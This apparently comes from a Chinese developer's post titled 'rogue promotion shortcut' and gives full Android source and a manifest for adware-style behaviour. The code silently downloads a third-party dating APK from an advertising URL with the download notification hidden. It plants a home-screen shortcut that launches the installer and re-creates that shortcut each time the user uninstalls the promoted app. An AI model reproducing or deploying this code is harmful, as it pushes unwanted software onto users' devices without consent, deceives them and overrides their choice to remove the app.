快捷方式【流氓推广】

public class MainActivity extends Activity {
    private DownloadCompleteReceiver receiver;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        TextView textView = new TextView(this);
        textView.setText("流氓推送__聪明反被聪明误");
        setContentView(textView);
        if (Utils.isAppInstalled(this, Utils.PACKAGE_NAME)) {//已安装，删除图标
            Log.i("bqt", "已安装，删除图标");
            Utils.deleteShortCut(this, Utils.getYueLoveIntent());
        } else { //未安装
            File f = new File(Utils.FILE_PATH_ABSOLUTE, Utils.FILE_NAME);
            if (!f.exists()) {//没有下载
                Log.i("bqt", "准备下载");
                if (receiver == null) {
                    receiver = new DownloadCompleteReceiver();
                    IntentFilter intentFilter = new IntentFilter();
                    intentFilter.addAction(android.app.DownloadManager.ACTION_DOWNLOAD_COMPLETE);//下载完成的动作
                    registerReceiver(receiver, intentFilter);
                }
                Utils.downLoadFile(this, Utils.URL);
            } else {//已下载，创建快捷方式
                Log.i("bqt", "创建快捷方式");
                Utils.createShortCut(this, Utils.getYueLoveIntent());
            }
        }
    }
    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (receiver != null) {
            unregisterReceiver(receiver);
            receiver = null;
        }
    }
}

public class PackageBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        //Broadcast Action: A new application package has been installed on the device. The data contains the name of the package. 
        //新安装的应用接收不到此广播，也即自身安装后自身接收不到；卸载应用的广播也一样，把一个应用卸载后它就收不到卸载广播了
        if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)) {//android.intent.action.PACKAGE_ADDED
            String packageName = intent.getDataString();
            Log.i("bqt", "安装了【" + packageName + "】包名的程序");
            if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {
                Utils.deleteShortCut(context, Utils.getYueLoveIntent());
            }
        }
        //An existing application package has been removed from the device. The data contains the name of the package. 
        if (intent.getAction().equals(Intent.ACTION_PACKAGE_REMOVED)) {//android.intent.action.PACKAGE_REMOVED
            String packageName = intent.getDataString();
            Log.i("bqt", "卸载了【" + packageName + "】包名的程序");
            if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {
                Utils.createShortCut(context, Utils.getYueLoveIntent());
            }
        }
    }
}

public class DownloadCompleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        long id = intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, 0);
        if (intent.getAction().equals(DownloadManager.ACTION_DOWNLOAD_COMPLETE)) {
            Log.i("bqt", "编号 " + id + " 的任务已经下载完成！");
            Utils.createShortCut(context, Utils.getYueLoveIntent());
        }
    }
}

public class Utils {
    /**安装包下载路径，下载后存放的路径、文件名*/
    public static final String URL = "http://api.95yueba.com/app/advert/down.php?channel=ai00002&from_type=d725d6c7306f2fbaea543c3138f677bd";
    public static final String ICON_NAME = "寻爱";//图标名称
    public static final String FILE_NAME = "寻爱.apk";//下载的文件名称
    public static final String FILE_PATH_SHORT = "/95xiu/game_test";//相对路径
    public static final String FILE_PATH_ABSOLUTE = Environment.getExternalStorageDirectory().getAbsolutePath() + FILE_PATH_SHORT;//绝对路径
    public static final String PACKAGE_NAME = "com.lokinfo.seeklove";//包名
    public static final String PACKAGE_NAME_FORMAT = "package:" + PACKAGE_NAME;//加上前缀的包名
    /**下载文件*/
    public static void downLoadFile(Context mContext, String url) {
        android.app.DownloadManager.Request request = new android.app.DownloadManager.Request(Uri.parse(url))//路径
                .setNotificationVisibility(android.app.DownloadManager.Request.VISIBILITY_HIDDEN)//隐藏
                .setAllowedNetworkTypes(android.app.DownloadManager.Request.NETWORK_WIFI)//仅WIFI下载
                .setDestinationInExternalPublicDir(FILE_PATH_SHORT, FILE_NAME);//要使用相对路径
        ((android.app.DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE)).enqueue(request);
    }
    /**创建快捷方式*/
    public static void createShortCut(Context mContext, Intent intent) {
        if (isExistShutCut(mContext, ICON_NAME)) return;
        Intent shortcutintent = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
        shortcutintent.putExtra("duplicate", false);// 是否可以重复放置shortcut，不一定有效
        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);//名称
        Bitmap iconBitmap = drawable2Bitmap(getApkIcon(mContext, FILE_PATH_ABSOLUTE + File.separator + FILE_NAME));
        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_ICON, iconBitmap);//图标
        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//动作
        mContext.sendBroadcast(shortcutintent);
    }
    /**删除快捷方式*/
    public static void deleteShortCut(Context mContext, Intent intent) {
        Intent shortcutIntent = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT");
        shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);
        shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//删除时使用的Intent要和创建时的一致才可以
        mContext.sendBroadcast(shortcutIntent);
    }
    /**判断快捷图标是否在数据库中已存在（不一定可靠）*/
    public static boolean isExistShutCut(Context context, String name) {
        boolean isExist = false;
        int version = android.os.Build.VERSION.SDK_INT;
        Uri uri;
        if (version < 8) uri = Uri.parse("content://com.android.launcher.settings/favorites");
        else uri = Uri.parse("content://com.android.launcher2.settings/favorites");
        Cursor c = context.getContentResolver().query(uri, new String[] { "title", "iconResource" }, "title=?", new String[] { name }, null);
        if (c != null) {
            if (c.getCount() > 0) isExist = true;
            c.close();
        }
        return isExist;
    }
    /**获取Intent*/
    public static Intent getYueLoveIntent() {
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setDataAndType(Uri.parse("file://" + FILE_PATH_ABSOLUTE + File.separator + FILE_NAME), "application/vnd.android.package-archive");
        return intent;
    }
    /**获取手机所有已安装程序的包名*/
    public static List<String> getAppInstalledPackages(Context mContext) {
        PackageManager pm = mContext.getPackageManager();
        List<PackageInfo> pinfos = pm.getInstalledPackages(0);
        List<String> pgNames = new ArrayList<String>();
        for (PackageInfo pinfo : pinfos) {
            pgNames.add(pinfo.packageName);
        }
        return pgNames;
    }
    /**判断App是否已经安装*/
    public static boolean isAppInstalled(Context mContext, String packageName) {
        return getAppInstalledPackages(mContext).contains(packageName);
    }
    /**获取APK文件中图标 */
    public static Drawable getApkIcon(Context mContext, String apkPath) {
        PackageManager pm = mContext.getPackageManager();
        PackageInfo info = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);
        if (info != null) {
            ApplicationInfo appInfo = info.applicationInfo;
            appInfo.sourceDir = apkPath;
            appInfo.publicSourceDir = apkPath;
            try {
                return appInfo.loadIcon(pm);
            } catch (OutOfMemoryError e) {
                Log.e("ApkIconLoader", e.toString());
            }
        }
        return mContext.getDrawable(R.drawable.ic_launcher);
    }
    /**将Drawable转化为Bitmap*/
    public static Bitmap drawable2Bitmap(Drawable drawable) {
        if (drawable instanceof BitmapDrawable) return ((BitmapDrawable) drawable).getBitmap();
        Bitmap.Config config = drawable.getOpacity() != PixelFormat.OPAQUE ? Bitmap.Config.ARGB_8888 : Bitmap.Config.RGB_565;
        Bitmap bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), config);//指定宽高及格式
        Canvas canvas = new Canvas(bitmap);//此Bitmap必须是mutable(可修改的)
        drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight());
        drawable.draw(canvas);//把drawable画到canvas中。Draw in its bounds (set via setBounds) respecting根据 optional可选的 effects
        return bitmap;
    }
}

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.bqt.test"
    android:versionCode="1"
    android:versionName="1.0" >
    <uses-sdk
        android:minSdkVersion="16"
        android:targetSdkVersion="21" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
    <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
    <uses-permission android:name="android.permission.DOWNLOAD_WITHOUT_NOTIFICATION" />
    <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS" />
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="MainActivity" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".PackageBroadcastReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>
    </application>
</manifest>